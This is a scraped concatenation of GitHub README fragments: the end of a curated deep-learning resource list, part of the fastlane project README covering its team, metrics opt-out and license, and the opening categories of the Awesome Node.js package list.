11. [Misc from MIT's 'Neural Coding and Perception of Sound' course](http://ocw.mit.edu/courses/health-sciences-and-technology/hst-723j-neural-coding-and-perception-of-sound-spring-2005/index.htm)
12. [Implementing a Distributed Deep Learning Network over Spark](http://www.datasciencecentral.com/profiles/blogs/implementing-a-distributed-deep-learning-network-over-spark)
13. [A chess AI that learns to play chess using deep learning.](https://github.com/erikbern/deep-pink)
14. [Reproducing the results of "Playing Atari with Deep Reinforcement Learning" by DeepMind](https://github.com/kristjankorjus/Replicating-DeepMind)
15. [Wiki2Vec. Getting Word2vec vectors for entities and word from Wikipedia Dumps](https://github.com/idio/wiki2vec)
16. [The original code from the DeepMind article + tweaks](https://github.com/kuz/DeepMind-Atari-Deep-Q-Learner)
17. [Google deepdream - Neural Network art](https://github.com/google/deepdream)
18. [An efficient, batched LSTM.](https://gist.github.com/karpathy/587454dc0146a6ae21fc)
19. [A recurrent neural network designed to generate classical music.](https://github.com/hexahedria/biaxial-rnn-music-composition)
20. [Memory Networks Implementations - Facebook](https://github.com/facebook/MemNN)
21. [Face recognition with Google's FaceNet deep neural network.](https://github.com/cmusatyalab/openface)
22. [Basic digit recognition neural network](https://github.com/joeledenberg/DigitRecognition)
23. [Emotion Recognition API Demo - Microsoft](https://www.projectoxford.ai/demo/emotion#detection)
24. [Proof of concept for loading Caffe models in TensorFlow](https://github.com/ethereon/caffe-tensorflow)
25. [YOLO: Real-Time Object Detection](http://pjreddie.com/darknet/yolo/#webcam)
26. [YOLO: Practical Implementation using Python](https://www.analyticsvidhya.com/blog/2018/12/practical-guide-object-detection-yolo-framewor-python/)
27. [AlphaGo - A replication of DeepMind's 2016 Nature publication, "Mastering the game of Go with deep neural networks and tree search"](https://github.com/Rochester-NRT/AlphaGo)
28. [Machine Learning for Software Engineers](https://github.com/ZuzooVn/machine-learning-for-software-engineers)
29. [Machine Learning is Fun!](https://medium.com/@ageitgey/machine-learning-is-fun-80ea3ec3c471#.oa4rzez3g)
30. [Siraj Raval's Deep Learning tutorials](https://www.youtube.com/channel/UCWN3xxRkmTPmbKwht9FuE5A)
31. [Dockerface](https://github.com/natanielruiz/dockerface) - Easy to install and use deep learning Faster R-CNN face detection for images and video in a docker container.
32. [Awesome Deep Learning Music](https://github.com/ybayle/awesome-deep-learning-music) - Curated list of articles related to deep learning scientific research applied to music
33. [Awesome Graph Embedding](https://github.com/benedekrozemberczki/awesome-graph-embedding) - Curated list of articles related to deep learning scientific research on graph structured data at the graph level.
34. [Awesome Network Embedding](https://github.com/chihming/awesome-network-embedding) - Curated list of articles related to deep learning scientific research on graph structured data at the node level.
35. [Microsoft Recommenders](https://github.com/Microsoft/Recommenders) contains examples, utilities and best practices for building recommendation systems. Implementations of several state-of-the-art algorithms are provided for self-study and customization in your own applications.
36. [The Unreasonable Effectiveness of Recurrent Neural Networks](http://karpathy.github.io/2015/05/21/rnn-effectiveness/) - Andrej Karpathy blog post about using RNN for generating text.
37. [Ladder Network](https://github.com/divamgupta/ladder_network_keras) - Keras Implementation of Ladder Network for Semi-Supervised Learning
38. [toolbox: Curated list of ML libraries](https://github.com/amitness/toolbox)
39. [CNN Explainer](https://poloclub.github.io/cnn-explainer/)
40. [AI Expert Roadmap](https://github.com/AMAI-GmbH/AI-Expert-Roadmap) - Roadmap to becoming an Artificial Intelligence Expert
41. [Awesome Drug Interactions, Synergy, and Polypharmacy Prediction](https://github.com/AstraZeneca/awesome-polipharmacy-side-effect-prediction/)
-----
### Contributing
Have anything in mind that you think is awesome and would fit in this list? Feel free to send a [pull request](https://github.com/ashara12/awesome-deeplearning/pulls).
-----
## License
[](http://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Christos Christofidis](https://linkedin.com/in/Christofidis) has waived all copyright and related or neighboring rights to this work.
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## _fastlane_ team
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<td id='danielle-tomlinson'>
<a href='https://github.com/DanToml'>
<img src='https://github.com/DanToml.png?size=140'>
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<h4 align='center'><a href='https://twitter.com/DanToml'>Danielle Tomlinson</a></h4>
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<h4 align='center'><a href='https://twitter.com/mgrebenets'>Maksym Grebenets</a></h4>
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<h4 align='center'><a href='https://twitter.com/joshdholtz'>Josh Holtz</a></h4>
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<h4 align='center'><a href='https://twitter.com/aligatr'>Olivier Halligon</a></h4>
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## Code of Conduct
Help us keep _fastlane_ open and inclusive. Please read and follow our [Code of Conduct](https://github.com/fastlane/fastlane/blob/master/CODE_OF_CONDUCT.md).
## Metrics
_fastlane_ tracks a few key metrics to understand how developers are using the tool and to help us know what areas need improvement. No personal/sensitive information is ever collected. Metrics that are collected include:
* The number of _fastlane_ runs
* A salted hash of the app identifier or package name, which helps us anonymously identify unique usage of _fastlane_
You can easily opt-out of metrics collection by adding `opt_out_usage` at the top of your `Fastfile` or by setting the environment variable `FASTLANE_OPT_OUT_USAGE`. [Check out the metrics code on GitHub](https://github.com/fastlane/fastlane/tree/master/fastlane_core/lib/fastlane_core/analytics)
## License
This project is licensed under the terms of the MIT license. See the [LICENSE](LICENSE) file.
> This project and all fastlane tools are in no way affiliated with Apple Inc. This project is open source under the MIT license, which means you have full access to the source code and can modify it to fit your own needs. All fastlane tools run on your own computer or server, so your credentials or other sensitive information will never leave your own computer. You are responsible for how you use fastlane tools.
<hr />
<h2 align="center">
✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
</h2>
<hr />
|
<div align="center">
<div>
<img width="500" src="media/logo.svg" alt="Awesome Node.js">
</div>
<br>
<hr>
<p>
<sup>Special thanks to:</sup>
<br>
<br>
<a href="https://github.com/botpress/botpress">
<img src="https://sindresorhus.com/assets/thanks/botpress-logo.svg" width="180" alt="Botpress">
</a>
<br>
<sub><b>Botpress is an open-source conversational assistant creation platform.</b></sub>
<br>
<sub>They <a href="https://github.com/botpress/botpress/blob/master/.github/CONTRIBUTING.md">welcome contributions</a> from anyone, whether you're into machine learning,<br>want to get started in open-source, or just have an improvement idea.</sub>
<br>
<br>
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<a href="https://segment.com">
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</a>
<br>
<sup>
Save time setting up analytics with Segment. <a href="https://segment.com/jobs">We're hiring!</a>
</sup>
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<br>
<br>
<br>
<a href="https://awesome.re">
<img src="https://awesome.re/badge-flat2.svg" alt="Awesome">
</a>
<p>
<sub>Just type <a href="https://node.cool"><code>node.cool</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
</div>
## Contents
- [Packages](#packages)
- [Mad science](#mad-science)
- [Command-line apps](#command-line-apps)
- [Functional programming](#functional-programming)
- [HTTP](#http)
- [Debugging / Profiling](#debugging--profiling)
- [Logging](#logging)
- [Command-line utilities](#command-line-utilities)
- [Build tools](#build-tools)
- [Hardware](#hardware)
- [Templating](#templating)
- [Web frameworks](#web-frameworks)
- [Documentation](#documentation)
- [Filesystem](#filesystem)
- [Control flow](#control-flow)
- [Streams](#streams)
- [Real-time](#real-time)
- [Image](#image)
- [Text](#text)
- [Number](#number)
- [Math](#math)
- [Date](#date)
- [URL](#url)
- [Data validation](#data-validation)
- [Parsing](#parsing)
- [Humanize](#humanize)
- [Compression](#compression)
- [Network](#network)
- [Database](#database)
- [Testing](#testing)
- [Security](#security)
- [Benchmarking](#benchmarking)
- [Minifiers](#minifiers)
- [Authentication](#authentication)
- [Authorization](#authorization)
- [Email](#email)
- [Job queues](#job-queues)
- [Node.js management](#nodejs-management)
- [Natural language processing](#natural-language-processing)
- [Process management](#process-management)
- [Automation](#automation)
- [AST](#ast)
- [Static site generators](#static-site-generators)
- [Content management systems](#content-management-systems)
- [Forum](#forum)
- [Blogging](#blogging)
- [Weird](#weird)
- [Serialization](#serialization)
- [Miscellaneous](#miscellaneous)
- [Resources](#resources)
- [Tutorials](#tutorials)
- [Discovery](#discovery)
- [Articles](#articles)
- [Newsletters](#newsletters)
- [Videos](#videos)
- [Books](#books)
- [Blogs](#blogs)
- [Courses](#courses)
- [Cheatsheets](#cheatsheets)
- [Tools](#tools)
- [Community](#community)
- [Miscellaneous](#miscellaneous-1)
- [Related lists](#related-lists)
## Packages
### Mad science
- [webtorrent](https://github.com/feross/webtorrent) - Streaming torrent client for Node.js and the browser.
- [peerflix](https://github.com/mafintosh/peerflix) - Streaming torrent client.
- [dat](https://github.com/datproject/dat-node) - Real-time replication and versioning for data sets.
- [ipfs](https://github.com/ipfs/js-ipfs) - Distributed file system that seeks to connect all computing devices with the same system of files.
- [stackgl](https://github.com/stackgl) - Open software ecosystem for WebGL, built on top of browserify and npm.
- [peerwiki](https://github.com/mafintosh/peerwiki) - All of Wikipedia on BitTorrent.
- [peercast](https://github.com/mafintosh/peercast) - Stream a torrent video to Chromecast.
- [BitcoinJS](https://github.com/bitcoinjs/bitcoinjs-lib) - Clean, readable, proven Bitcoin library.
- [Bitcore](https://github.com/bitpay/bitcore) - Pure and powerful Bitcoin library.
- [PDFKit](https://github.com/devongovett/pdfkit) - PDF generation library.
- [turf](https://github.com/Turfjs/turf) - Modular geospatial processing and analysis engine.
- [webcat](https://github.com/mafintosh/webcat) - p2p pipe across the web using WebRTC that uses your GitHub private/public key for authentication.
- [NodeOS](https://github.com/NodeOS/NodeOS) - The first operating system powered by npm.
- [YodaOS](https://github.com/yodaos-project/yodaos) - AI operating system.
- [Brain.js](https://github.com/BrainJS/brain.js) - Machine-learning framework.
- [Cytoscape.js](https://github.com/cytoscape/cytoscape.js) - Graph theory (a.k.a. network) modeling and analysis.
- [Kadence](https://gitlab.com/deadcanaries/kadence) - Kademlia distributed hash table.
- [seedshot](https://github.com/twobucks/seedshot) - Temporary P2P screenshot sharing from your browser.
- [js-git](https://github.com/creationix/js-git) - JavaScript implementation of Git.
- [skale](https://github.com/skale-me/skale-engine) - High performance distributed data processing engine.
- [xlsx](https://github.com/sheetjs/js-xlsx) - Pure JS Excel spreadsheet reader and writer.
- [isomorphic-git](https://github.com/isomorphic-git/isomorphic-git) - Pure JavaScript implementation of Git.
### Command-line apps
- [np](https://github.com/sindresorhus/np) - Better `npm publish`.
- [npm-name](https://github.com/sindresorhus/npm-name) - Check a package name's availability on npm.
- [gh-home](https://github.com/sindresorhus/gh-home) - Open the GitHub page of the repo in the current directory.
- [npm-home](https://github.com/sindresorhus/npm-home) - Open the npm page of a package.
- [trash](https://github.com/sindresorhus/trash) - Safer alternative to `rm`.
- [speed-test](https://github.com/sindresorhus/speed-test) - Test your internet connection speed and ping.
- [emoj](https://github.com/sindresorhus/emoj) - Find relevant emoji from text on the command-line.
- [pageres](https://github.com/sindresorhus/pageres) - Capture website screenshots.
- [cpy](https://github.com/sindresorhus/cpy) - Copy files.
- [vtop](https://github.com/MrRio/vtop) - More better top, with nice charts.
- [empty-trash](https://github.com/sindresorhus/empty-trash) - Empty the trash.
- [is-up](https://github.com/sindresorhus/is-up) - Check whether a website is up or down.
- [is-online](https://github.com/sindresorhus/is-online) - Check if the internet connection is up.
- [public-ip](https://github.com/sindresorhus/public-ip) - Get your public IP address.
- [clipboard-cli](https://github.com/sindresorhus/clipboard-cli) - Copy & paste on the terminal.
- [XO](https://github.com/xojs/xo) - Enforce strict code style using the JavaScript happiness style.
- [Standard](https://github.com/feross/standard) - JavaScript Standard Style — One style to rule them all.
- [ESLint](https://github.com/eslint/eslint) - The pluggable linting utility for JavaScript.
- [dev-time](https://github.com/samverschueren/dev-time-cli) - Get the current local time of a GitHub user.
- [David](https://github.com/alanshaw/david) - Tells you when your package npm dependencies are out of date.
- [http-server](https://github.com/indexzero/http-server) - Simple, zero-config command-line HTTP server.
- [Live Server](https://github.com/tapio/live-server) - Development HTTP-server with livereload capability.
- [bcat](https://github.com/kessler/node-bcat) - Pipe command output to web browsers.
- [normit](https://github.com/pawurb/normit) - Google Translate with speech synthesis in your terminal.
- [fkill](https://github.com/sindresorhus/fkill-cli) - Fabulously kill processes. Cross-platform.
- [pjs](https://github.com/danielstjules/pjs) - Pipeable JavaScript. Quickly filter, map, and reduce from the terminal.
- [license-checker](https://github.com/davglass/license-checker) - Check licenses of your app's dependencies.
- [browser-run](https://github.com/juliangruber/browser-run) - Easily run code in a browser environment.
- [tmpin](https://github.com/sindresorhus/tmpin) - Adds stdin support to any CLI app that accepts file input.
- [wifi-password](https://github.com/kevva/wifi-password-cli) - Get the current wifi password.
- [wallpaper](https://github.com/sindresorhus/wallpaper) - Change the desktop wallpaper.
- [brightness](https://github.com/kevva/brightness-cli) - Change the screen brightness.
- [torrent](https://github.com/maxogden/torrent) - Download torrents.
- [kill-tabs](https://github.com/sindresorhus/kill-tabs) - Kill all Chrome tabs to improve performance, decrease battery usage, and save memory.
- [alex](https://github.com/wooorm/alex) - Catch insensitive, inconsiderate writing.
- [pen](https://github.com/noraesae/pen) - Live Markdown preview in the browser from your favorite editor.
- [subdownloader](https://github.com/beatfreaker/subdownloader) - Subtitle downloader for movies and TV series.
- [dark-mode](https://github.com/sindresorhus/dark-mode) - Toggle the macOS Dark Mode.
- [iponmap](https://github.com/nogizhopaboroda/iponmap) - IP location finder.
- [Jsome](https://github.com/Javascipt/Jsome) - Pretty prints JSON with configurable colors and indentation.
- [itunes-remote](https://github.com/mischah/itunes-remote) - Interactively control iTunes.
- [mobicon](https://github.com/samverschueren/mobicon-cli) - Mobile app icon generator.
- [mobisplash](https://github.com/samverschueren/mobisplash-cli) - Mobile app splash screen generator.
- [diff2html-cli](https://github.com/rtfpessoa/diff2html-cli) - Pretty git diff to HTML generator.
- [Cash](https://github.com/dthree/cash) - Cross-platform Unix shell commands in pure JavaScript.
- [trymodule](https://github.com/VictorBjelkholm/trymodule) - Try out npm packages in the terminal.
- [jscpd](https://github.com/kucherenko/jscpd) - Copy/paste detector for source code.
- [atmo](https://github.com/Raathigesh/Atmo) - Server-side API mocking.
- [auto-install](https://github.com/siddharthkp/auto-install) - Auto installs dependencies as you code.
- [lessmd](https://github.com/linuxenko/lessmd) - Markdown in the terminal.
- [cost-of-modules](https://github.com/siddharthkp/cost-of-modules) - Find out which dependencies are slowing you down.
- [localtunnel](https://github.com/localtunnel/localtunnel) - Expose your localhost to the world.
- [svg-term-cli](https://github.com/marionebl/svg-term-cli) - Share terminal sessions via SVG.
- [gtop](https://github.com/aksakalli/gtop) - System monitoring dashboard for the terminal.
- [themer](https://github.com/mjswensen/themer) - Generate themes for your editor, terminal, wallpaper, Slack, and more.
- [carbon-now-cli](https://github.com/mixn/carbon-now-cli) - Beautiful images of your code — from right inside your terminal.
- [cash-cli](https://github.com/xxczaki/cash-cli) - Convert between 170 currencies.
- [taskbook](https://github.com/klauscfhq/taskbook) - Tasks, boards & notes for the command-line habitat.
- [discharge](https://github.com/brandonweiss/discharge) - Easily deploy static websites to Amazon S3.
- [npkill](https://github.com/voidcosmos/npkill) - Easily find and remove old and heavy node_modules folders.
### Functional programming
- [lodash](https://github.com/lodash/lodash) - Utility library delivering consistency, customization, performance, & extras. A better and faster Underscore.js.
- [immutable](https://github.com/facebook/immutable-js) - Immutable data collections.
- [Ramda](https://github.com/ramda/ramda) - Utility library with a focus on flexible functional composition enabled by automatic currying and reversed argument order. Avoids mutating data.
- [Folktale](https://github.com/origamitower/folktale) - Suite of libraries for generic functional programming in JavaScript that allows you to write elegant, modular applications with fewer bugs, and more reuse.
- [Mout](https://github.com/mout/mout) - Utility library with the biggest difference between other existing solutions is that you can choose to load only the modules/functions that you need, no extra overhead.
- [Bacon.js](https://github.com/baconjs/bacon.js) - Functional reactive programming.
- [RxJS](https://github.com/reactivex/rxjs) - Functional reactive library for transforming, composing, and querying various kinds of data.
- [Lazy.js](https://github.com/dtao/lazy.js) - Utility library similar to lodash/Underscore but with lazy evaluation, which can translate to superior performance in many cases.
- [Kefir.js](https://github.com/kefirjs/kefir) - Reactive library with focus on high performance and low memory usage.
### HTTP
- [got](https://github.com/sindresorhus/got) - Nicer interface to the built-in `http` module.
- [gh-got](https://github.com/sindresorhus/gh-got) - Convenience wrapper for `got` to interact with the GitHub API.
- [axios](https://github.com/mzabriskie/axios) - Promise based HTTP client (works in the browser too).
- [wreck](https://github.com/hapijs/wreck) - HTTP Client Utilities.
- [download](https://github.com/kevva/download) - Download and extract files effortlessly.
- [http-proxy](https://github.com/nodejitsu/node-http-proxy) - HTTP proxy.
- [superagent](https://github.com/visionmedia/superagent) - HTTP request library.
- [node-fetch](https://github.com/bitinn/node-fetch) - `window.fetch` for Node.js.
- [flashheart](https://github.com/bbc/flashheart) - REST client.
- [http-fake-backend](https://github.com/micromata/http-fake-backend) - Build a fake backend by providing the content of JSON files or JavaScript objects through configurable routes.
- [cacheable-request](https://github.com/lukechilds/cacheable-request) - Wrap native HTTP requests with RFC compliant cache support.
- [gotql](https://github.com/khaosdoctor/gotql) - GraphQL request library built on [got](https://github.com/sindresorhus/got).
- [global-agent](https://github.com/gajus/global-agent) - Global HTTP/HTTPS proxy agent that is configurable using environment variables.
### Debugging / Profiling
- [ndb](https://github.com/GoogleChromeLabs/ndb) - Improved debugging experience, enabled by Chrome DevTools.
- [ironNode](https://github.com/s-a/iron-node) - Node.js debugger supporting ES2015 out of the box.
- [node-inspector](https://github.com/node-inspector/node-inspector) - Debugger based on Blink Developer Tools.
- [debug](https://github.com/visionmedia/debug) - Tiny debugging utility.
- [why-is-node-running](https://github.com/mafintosh/why-is-node-running) - Node.js is running but you don't know why?
- [njsTrace](https://github.com/valyouw/njstrace) - Instrument and trace your code, see all function calls, arguments, return values, as well as the time spent in each function.
- [vstream](https://github.com/joyent/node-vstream) - Instrumentable streams mix-ins to inspect a pipeline of streams.
- [stackman](https://github.com/watson/stackman) - Enhance an error stacktrace with code excerpts and other goodies.
- [locus](https://github.com/alidavut/locus) - Starts a REPL at runtime that has access to all variables.
- [0x](https://github.com/davidmarkclements/0x) - Flamegraph profiling.
- [ctrace](https://github.com/automation-stack/ctrace) - Well-formatted and improved trace system calls and signals.
- [leakage](https://github.com/andywer/leakage) - Write memory leak tests.
- [llnode](https://github.com/nodejs/llnode) - Post-mortem analysis tool which allows you to inspect objects and get insights from a crashed Node.js process.
- [thetool](https://github.com/sfninja/thetool) - Capture different CPU, memory, and other profiles for your app in Chrome DevTools friendly format.
- [swagger-stats](https://github.com/slanatech/swagger-stats) - Trace API calls and monitor API performance, health, and usage metrics.
- [NiM](https://github.com/june07/nim) - Manages DevTools debugging workflow.
### Logging
- [pino](https://github.com/pinojs/pino) - Extremely fast logger inspired by Bunyan.
- [winston](https://github.com/winstonjs/winston) - Multi-transport async logging library.
- [console-log-level](https://github.com/watson/console-log-level) - The most simple logger imaginable with support for log levels and custom prefixes.
- [storyboard](https://github.com/guigrpa/storyboard) - End-to-end, hierarchical, real-time, colorful logs and stories.
- [signale](https://github.com/klauscfhq/signale) - Console logger.
- [consola](https://github.com/nuxt/consola) - Console logger.
### Command-line utilities
- [chalk](https://github.com/chalk/chalk) - Terminal string styling done right.
- [meow](https://github.com/sindresorhus/meow) - CLI app helper.
- [yargs](https://github.com/yargs/yargs) - Command-line parser that automatically generates an elegant user-interface.
- [ora](https://github.com/sindresorhus/ora) - Elegant terminal spinner.
- [get-stdin](https://github.com/sindresorhus/get-stdin) - Easier stdin.
- [log-update](https://github.com/sindresorhus/log-update) - Log by overwriting the previous output in the terminal. Useful for rendering progress bars, animations, etc.
- [Ink](https://github.com/vadimdemedes/ink) - React for interactive command-line apps.
- [listr](https://github.com/samverschueren/listr) - Terminal task list.
- [conf](https://github.com/sindresorhus/conf) - Simple config handling for your app or module.
- [ansi-escapes](https://github.com/sindresorhus/ansi-escapes) - ANSI escape codes for manipulating the terminal.
- [log-symbols](https://github.com/sindresorhus/log-symbols) - Colored symbols for various log levels.
- [figures](https://github.com/sindresorhus/figures) - Unicode symbols with Windows CMD fallbacks.
- [boxen](https://github.com/sindresorhus/boxen) - Create boxes in the terminal.
- [terminal-link](https://github.com/sindresorhus/terminal-link) - Create clickable links in the terminal.
- [terminal-image](https://github.com/sindresorhus/terminal-image) - Display images in the terminal.
- [string-width](https://github.com/sindresorhus/string-width) - Get the visual width of a string - the number of columns required to display it.
- [cli-truncate](https://github.com/sindresorhus/cli-truncate) - Truncate a string to a specific width in the terminal.
- [first-run](https://github.com/sindresorhus/first-run) - Check if it's the first time the process is run.
- [blessed](https://github.com/chjj/blessed) - Curses-like library.
- [Inquirer.js](https://github.com/SBoudrias/Inquirer.js) - Interactive command-line prompt.
- [yn](https://github.com/sindresorhus/yn) - Parse yes/no like values.
- [cli-table3](https://github.com/cli-table/cli-table3) - Pretty unicode tables.
- [drawille](https://github.com/madbence/node-drawille) - Draw on the terminal with unicode braille characters.
- [update-notifier](https://github.com/yeoman/update-notifier) - Update notifications for your CLI app.
- [ascii-charts](https://github.com/jstrace/chart) - ASCII bar chart in the terminal.
- [progress](https://github.com/tj/node-progress) - Flexible ascii progress bar.
- [insight](https://github.com/yeoman/insight) - Helps you understand how your tool is being used by anonymously reporting usage metrics to Google Analytics.
- [cli-cursor](https://github.com/sindresorhus/cli-cursor) - Toggle the CLI cursor.
- [columnify](https://github.com/timoxley/columnify) - Create text-based columns suitable for console output. Supports cell wrapping.
- [cli-columns](https://github.com/shannonmoeller/cli-columns) - Columnated unicode and ansi-safe text lists.
- [cfonts](https://github.com/dominikwilkowski/cfonts) - Sexy ASCII fonts for the console.
- [multispinner](https://github.com/codekirei/node-multispinner) - Multiple, simultaneous, individually controllable CLI spinners.
- [omelette](https://github.com/f/omelette) - Shell autocompletion helper.
- [cross-env](https://github.com/kentcdodds/cross-env) - Set environment variables cross-platform.
- [shelljs](https://github.com/shelljs/shelljs) - Portable Unix shell commands.
- [sudo-block](https://github.com/sindresorhus/sudo-block) - Block users from running your app with root permissions.
- [loud-rejection](https://github.com/sindresorhus/loud-rejection) - Make unhandled promise rejections fail loudly instead of the default silent fail.
- [sparkly](https://github.com/sindresorhus/sparkly) - Generate sparklines `▁▂▃▅▂▇`.
- [Bit](https://github.com/teambit/bit) - Create, maintain, find and use small modules and components across repositories.
- [gradient-string](https://github.com/bokub/gradient-string) - Beautiful color gradients in terminal output.
- [oclif](https://github.com/oclif/oclif) - CLI framework complete with parser, automatic documentation, testing, and plugins.
- [term-size](https://github.com/sindresorhus/term-size) - Reliably get the terminal window size.
- [Cliffy](https://github.com/drew-y/cliffy) - Framework for interactive CLIs.
### Build tools
- [parcel](https://github.com/parcel-bundler/parcel) - Blazing fast, zero config web app bundler.
- [webpack](https://github.com/webpack/webpack) - Packs modules and assets for the browser.
- [rollup](https://github.com/rollup/rollup) - Next-generation ES2015 module bundler.
- [gulp](https://github.com/gulpjs/gulp) - Streaming and fast build system that favors code over config.
- [Broccoli](https://github.com/broccolijs/broccoli) - Fast, reliable asset pipeline, supporting constant-time rebuilds and compact build definitions.
- [Brunch](https://github.com/brunch/brunch) - Front-end web app build tool with simple declarative config, fast incremental compilation, and an opinionated workflow.
- [Start](https://github.com/deepsweet/start) - Functional task runner with shareable presets.
- [ygor](https://github.com/shannonmoeller/ygor) - Promising task runner for when `npm run` isn't enough and everything else is too much.
- [FuseBox](https://github.com/fuse-box/fuse-box) - Fast build system that combines the power of webpack, JSPM and SystemJS, with first-class TypeScript support.
- [pkg](https://github.com/zeit/pkg) - Package your Node.js project into an executable.
### Hardware
- [johnny-five](https://github.com/rwaldron/johnny-five) - Firmata based Arduino Framework.
- [serialport](https://github.com/voodootikigod/node-serialport) - Access serial ports for reading and writing.
- [usb](https://github.com/nonolith/node-usb) - USB library.
- [i2c-bus](https://github.com/fivdi/i2c-bus) - I2C serial bus access.
- [onoff](https://github.com/fivdi/onoff) - GPIO access and interrupt detection.
- [spi-device](https://github.com/fivdi/spi-device) - SPI serial bus access.
- [pigpio](https://github.com/fivdi/pigpio) - Fast GPIO, PWM, servo control, state change notification, and interrupt handling on the Raspberry Pi.
- [gps](https://github.com/infusion/GPS.js) - NMEA parser for handling GPS receivers.
### Templating
- [marko](https://github.com/marko-js/marko) - HTML-based templating engine that compiles templates to CommonJS modules and supports streaming, async rendering and custom tags.
- [nunjucks](https://github.com/mozilla/nunjucks) - Templating engine with inheritance, asynchronous control, and more (jinja2 inspired).
- [handlebars.js](https://github.com/wycats/handlebars.js) - Superset of Mustache templates which adds powerful features like helpers and more advanced blocks.
- [EJS](https://github.com/mde/ejs) - Simple unopinionated templating language.
- [Pug](https://github.com/pugjs/pug) - High-performance template engine heavily influenced by Haml.
### Web frameworks
- [Hapi](https://github.com/hapijs/hapi) - Framework for building applications and services.
- [Koa](https://github.com/koajs/koa) - Framework designed by the team behind Express, which aims to be a smaller, more expressive, and more robust foundation for web applications and APIs.
- [Express](https://github.com/expressjs/express) - Web application framework, providing a robust set of features for building single and multi-page, and hybrid web applications.
- [Feathers](https://github.com/feathersjs/feathers) - Microservice framework built in the spirit of Express.
- [LoopBack](https://github.com/strongloop/loopback) - Powerful framework for creating REST APIs and easily connecting to backend data sources.
- [Meteor](https://github.com/meteor/meteor) - An ultra-simple, database-everywhere, data-on-the-wire, pure-Javascript web framework. *(You might like [awesome-meteor](https://github.com/Urigo/awesome-meteor))*
- [Restify](https://github.com/restify/node-restify) - Enables you to build correct REST web services.
- [ThinkJS](https://github.com/thinkjs/thinkjs) - Framework with ES2015+ support, WebSockets, REST API.
- [ActionHero](https://github.com/actionhero/actionhero) - Framework for making reusable & scalable APIs for TCP sockets, WebSockets, and HTTP clients.
- [Next.js](https://github.com/zeit/next.js) - Minimalistic framework for server-rendered universal JavaScript web apps.
- [Nuxt.js](https://github.com/nuxt/nuxt.js) - Minimalistic framework for server-rendered Vue.js apps.
- [seneca](https://github.com/senecajs/seneca) - Toolkit for writing microservices.
- [AdonisJs](http://adonisjs.com) - A true MVC framework for Node.js built on solid foundations of Dependency Injection and IoC container.
- [Hemera](https://github.com/hemerajs/hemera) - Write reliable and fault-tolerant microservices with [NATS](https://nats.io).
- [Micro](https://github.com/zeit/micro) - Minimalistic microservice framework with an async approach.
- [Moleculer](https://moleculer.services) - Fast & powerful microservices framework.
- [Fastify](https://github.com/fastify/fastify) - Fast and low overhead web framework.
- [Nest](https://github.com/nestjs/nest) - Angular-inspired framework for building efficient and scalable server-side apps.
- [Zeronode](https://github.com/sfast/zeronode) - Minimal building block for reliable and fault-tolerant microservices.
- [TypeGraphQL](https://github.com/19majkel94/type-graphql) - Modern framework for creating GraphQL APIs with TypeScript, using classes and decorators.
### Documentation
- [documentation.js](https://github.com/documentationjs/documentation) - API documentation generator with support for ES2015+ and flow annotation.
- [ESDoc](https://github.com/esdoc/esdoc) - Documentation generator targeting ES2015, attaching test code and measuring documentation coverage.
- [Docco](https://github.com/jashkenas/docco) - Documentation generator which produces an HTML document that displays your comments intermingled with your code.
- [JSDoc](https://github.com/jsdoc3/jsdoc) - API documentation generator similar to JavaDoc or PHPDoc.
- [Docusaurus](https://github.com/facebook/docusaurus) - Documentation website generator that leverages React and Markdown, and comes with translation and versioning features.
### Filesystem
- [del](https://github.com/sindresorhus/del) - Delete files/folders using globs.
- [globby](https://github.com/sindresorhus/globby) - Glob files with support for multiple patterns.
- [cpy](https://github.com/sindresorhus/cpy) - Copy files.
- [rimraf](https://github.com/isaacs/rimraf) - Recursively delete files like `rm -rf`.
- [make-dir](https://github.com/sindresorhus/make-dir) - Recursively create directories like `mkdir -p`.
- [graceful-fs](https://github.com/isaacs/node-graceful-fs) - Drop-in replacement for the `fs` module with various improvements.
- [chokidar](https://github.com/paulmillr/chokidar) - Filesystem watcher which stabilizes events from `fs.watch` and `fs.watchFile` as well as using native `fsevents` on macOS.
- [find-up](https://github.com/sindresorhus/find-up) - Find a file by walking up parent directories.
- [proper-lockfile](https://github.com/IndigoUnited/node-proper-lockfile) - Inter-process and inter-machine lockfile utility.
- [load-json-file](https://github.com/sindresorhus/load-json-file) - Read and parse a JSON file.
- [write-json-file](https://github.com/sindresorhus/write-json-file) - Stringify and write JSON to a file atomically.
- [fs-write-stream-atomic](https://github.com/npm/fs-write-stream-atomic) - Like `fs.createWriteStream()`, but atomic.
- [filenamify](https://github.com/sindresorhus/filenamify) - Convert a string to a valid filename.
- [lnfs](https://github.com/kevva/lnfs) - Force create symlinks like `ln -fs`.
- [istextorbinary](https://github.com/bevry/istextorbinary) - Check if a file is text or binary.
- [fs-jetpack](https://github.com/szwacz/fs-jetpack) - Completely redesigned file system API for convenience in everyday use.
- [fs-extra](https://github.com/jprichardson/node-fs-extra) - Extra methods for the `fs` module.
- [pkg-dir](https://github.com/sindresorhus/pkg-dir) - Find the root directory of an npm package.
- [filehound](https://github.com/nspragg/filehound) - Flexible and fluent interface for searching the file system.
- [move-file](https://github.com/sindresorhus/move-file) - Move a file, even works across devices.
- [tempy](https://github.com/sindresorhus/tempy) - Get a random temporary file or directory path.
### Control flow
- Promises
- [Bluebird](https://github.com/petkaantonov/bluebird) - Promise library with focus on innovative features and performance.
- [pify](https://github.com/sindresorhus/pify) - Promisify a callback-style function.
- [delay](https://github.com/sindresorhus/delay) - Delay a promise a specified amount of time.
- [promise-memoize](https://github.com/nodeca/promise-memoize) - Memoize promise-returning functions, with expire and prefetch.
- [valvelet](https://github.com/lpinca/valvelet) - Limit the execution rate of a promise-returning function.
- [p-map](https://github.com/sindresorhus/p-map) - Map over promises concurrently.
- [More…](https://github.com/sindresorhus/promise-fun)
- Observables
- [zen-observable](https://github.com/zenparsing/zen-observable) - Implementation of Observables.
- [RxJS](https://github.com/ReactiveX/RxJS) - Reactive programming.
- [observable-to-promise](https://github.com/sindresorhus/awesome-observables) - Convert an Observable to a Promise.
- [More…](https://github.com/sindresorhus/awesome-observables)
- Streams
- [Highland.js](https://github.com/caolan/highland) - Manages synchronous and asynchronous code easily, using nothing more than standard JavaScript and Node-like Streams.
- Callbacks
- [each-async](https://github.com/sindresorhus/each-async) - Async concurrent iterator like forEach.
